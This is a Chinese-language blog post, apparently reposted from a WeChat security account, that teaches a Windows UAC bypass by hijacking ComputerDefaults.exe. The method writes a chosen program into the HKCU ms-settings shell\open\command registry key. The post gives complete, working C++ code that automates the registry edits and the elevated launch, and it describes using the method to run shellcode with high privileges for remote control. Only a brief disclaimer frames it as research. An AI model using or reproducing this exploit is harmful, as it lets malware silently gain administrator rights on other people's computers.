免责声明
文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任
前言
在开始绕过之前,我们先基本了解一下什么是uac
UAC是Windows操作系统中的一种安全功能,全称为User Account Control(用户账户控制)。它的主要目的是为了提高系统安全性,防止未经授权的程序对系统进行更改,以及减少管理员权限下的不必要操作。
UAC的工作原理是通过弹出用户权限请求框,让用户确认是否允许程序进行敏感操作。当需要进行需要管理员权限的操作时,例如修改系统设置或安装程序,UAC会弹出一个对话框,要求用户确认并输入管理员密码。只有在用户确认后,程序才能获得所需的权限进行操作。
通过UAC,即使用户以管理员身份登录,也可以在正常使用计算机时以标准用户权限运行大部分程序,只有在需要时才提升权限。这有助于减少恶意软件对系统的影响,同时也提高了系统的整体安全性。
总之,UAC是Windows操作系统中的一项重要安全功能,通过用户账户控制和权限提升的方式,有效地保护系统免受未经授权的更改和恶意软件的侵害。
那么进行实验首先需要打开UAC,步骤如下:
1.打开控制面板,找到系统和安全这个选向
2.进入以后打开安全和维护这个选项
3.找到uac设置的地方(这里我们把它设成第二等级,如果是第一个最高的话,会出现啥你们试试就知道了)
在开启uac以后我们进行测试
可以看到图标下面有个小盾的exe就会被uac拦截,我们可以双击试试
弹出了这个提示框,需要你的允许。这在我们攻打的时候会影响我们的.exe正常运行。
但是windows会有一个白名单允许自己的一些.exe执行。
我们可以使用Sigcheck这个工具来查看,某个.exe是否在windows的白名单中。
我们使用两条相同的命令可以看到,我们先查看一个在白名单中的.exe,在执行了命令以后他的结果回显是<autoElevate>true</autoElevate>这个字段,这里我们看到这个字段值为true那么就表现双击.exe以后不会被uac拦截,而当我查看图标带小盾的exe时,就没有这个字段,那么这里可以看到,带有这个字段并且值为true的,运行时不会被拦截。
现在我们就以Computerdefaults这个.exe举例
接下来我们查看调用键值我们使用Prcoess Moniotr这工具来查看,使用方法和之前的文章一样。
这里我们需要修改过滤规则,和图片类似就行,我使用的是中文版的,英文的过滤规则名可能不一样,翻译一下就行。
接下来我们开始监控。
这里我们重点监控结果为未找到名称的结果,以及访问了HKCUSoftwareClassesms-settingsshellopencommand这个路径的
这里我解释一下为什么要这么做(个人见解,大佬勿喷),首先结果为NOT FOUND NAME,这就表示了exe访问了某个路径,但是没有找到,其次为什么是HKCUSoftwareClassesms-settingsshellopencommand这个路径,因为网上都是这么找的,所以我们也这么找。开个小玩笑,这里我通过上网查询得到的结果是:
“一些高权限的程序会调用 HKCR: 下的键值,通过修改 HKCU: 下面的键值同步修改 HKCR: 下的键值,把原本的键值改为 cmd.exe 等 shell 程序,如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序”
这里的解释我觉得不全,如果说这是对原理的解释我觉得可能很牵强,这里我只提供方法,读者大大真要探究原理的话,可以去多查询查询。
这里我们可以看到确实对这个路径进行了查询,那么我们手动将其补全来看一下他是否有下一步访问。
这里我们可以看到他去访问command但是这里默认是没有的,那么就手动创建一个command。
我们手动创建以后,在用Prcoss Monitor 查看
这里我们可以看到在我们创建了command以后,他又访问了command下面的DelegateExecute这个键值,可能需要在下面创建一个DelegateExecute的值。根据这个名字猜测是执行一个程序,我们把这个值的内容改为cmd.exe,看看是否可以执行起来cmd程序。
这里我们可以看见双击了ComputerDefaults.exe但是弹出了cmd,这表示我们劫持成功了,而且没有弹出uac拦截。
根据上面的步骤我们大致需要几个步骤如下:
这里我们使用代码去自动化完成,并且将DelegateExecute的值设置成我们命令行输入的.exe程序。
这里我们需要使用到三个函数:
RegCreateKeyEx():
用于创建或打开一个指定的注册表键。它可以用来创建新的注册表键,或者打开已存在的注册表键,如果指定的注册表键已存在,则返回该键的句柄。
RegSetValueEx():
用于向指定的注册表键设置一个数值型或字符串型的数值。通过这个函数可以为指定的注册表键设置或修改数值数据。
RegDeleteTree():
用于删除指定注册表键及其所有子项。这个函数可以用来删除指定的注册表键,包括该键下的所有子项。
这里我们使用ShellExecuteEx这个API函数去执行ComputerDefaults.exe这个exe。
以下是 ShellExecuteEx 函数的一般用法:
复制代码SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; // 保持进程句柄 ShExecInfo.hwnd = NULL; // 父窗口句柄 ShExecInfo.lpVerb = _T("open"); // 执行操作,如 "open"、"print" ShExecInfo.lpFile = _T("path_to_your_program.exe"); // 要执行的程序或文件路径 ShExecInfo.lpParameters = _T("optional_parameters"); // 可选的命令行参数 ShExecInfo.lpDirectory = NULL; // 工作目录 ShExecInfo.nShow = SW_SHOW; // 窗口显示方式 BOOL result = ShellExecuteEx(&ShExecInfo); if (result) { // 执行成功,可以使用 ShExecInfo.hProcess 获取进程句柄等信息 } else { // 执行失败,可以通过调用 GetLastError() 获取错误信息 } |
ShellExecuteEx 函数会启动一个外部程序(例如一个可执行文件),并可以传递命令行参数。通过设置SEE_MASK_NOCLOSEPROCESS标志,可以获取所启动进程的句柄,使得可以等待该进程执行完成,或者对其进行其他操作。
那么接下我们直接上代码
#include <iostream> #include <Windows.h> #pragma comment(lib,"AdvApi32.lib") #pragma comment(lib,"Shell32.lib") int main(int argc, char* argv[]) { LPWSTR pCMDpath; size_t sSize; if (argc != 2) { std::cout << "Please enter the parameters" << endl; return EXIT_FAILURE; } #ifdef _WIN64 pCMDpath = new TCHAR[MAX_PATH + 1]; // 分配内存用于存储转换后的宽字符字符串,这里也可用vturalalloc来申请一块内存 mbstowcs_s(&sSize, pCMDpath, MAX_PATH, argv[1], MAX_PATH); LRESULT lResult; BOOL bResult; HKEY hKey = NULL; WCHAR szTempBuffer[MAX_PATH + 1]; DWORD dwData; SIZE_T cmdLen; SHELLEXECUTEINFO shinfo; lResult = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL); if (lResult != ERROR_SUCCESS) return -1; szTempBuffer[0] = 0; dwData = 0; lResult = RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)szTempBuffer, dwData); if (lResult != ERROR_SUCCESS) return -1; cmdLen = lstrlen(pCMDpath); dwData = (DWORD)((1 + cmdLen) * sizeof(WCHAR)); lResult = RegSetValueEx(hKey, TEXT(""), 0, REG_SZ, (BYTE*)pCMDpath, dwData); if (lResult == ERROR_SUCCESS) { RtlSecureZeroMemory(&shinfo, sizeof(shinfo)); shinfo.cbSize = sizeof(shinfo); shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; shinfo.lpFile = L"C:\Windows\System32\Computerdefaults.exe"; shinfo.lpParameters = L""; shinfo.lpDirectory = NULL; shinfo.nShow = SW_SHOW; shinfo.lpVerb = NULL; bResult = ShellExecuteEx(&shinfo); if (bResult) { WaitForSingleObject(shinfo.hProcess, 0x8000); CloseHandle(shinfo.hProcess); } } if (RegDeleteTree(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command")) { return -1; } if (hKey != NULL) RegCloseKey(hKey); #endif return EXIT_SUCCESS; } |
接下来我们看一下使用效果
可以看到这里是执行成功了,那么同理我们能不能用来执行我们的shellcode呢,试试就知道了。
这里看到我们成功上线并且通过使用劫持Computerdefaults.exe的用户后面带有一个*,这说明他显示是高权限的状态。
到此我们成功绕过UAC。
该文章借鉴其他大佬的知识。
原文始发于微信公众号(泾弦安全):免杀 bypassUAC
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论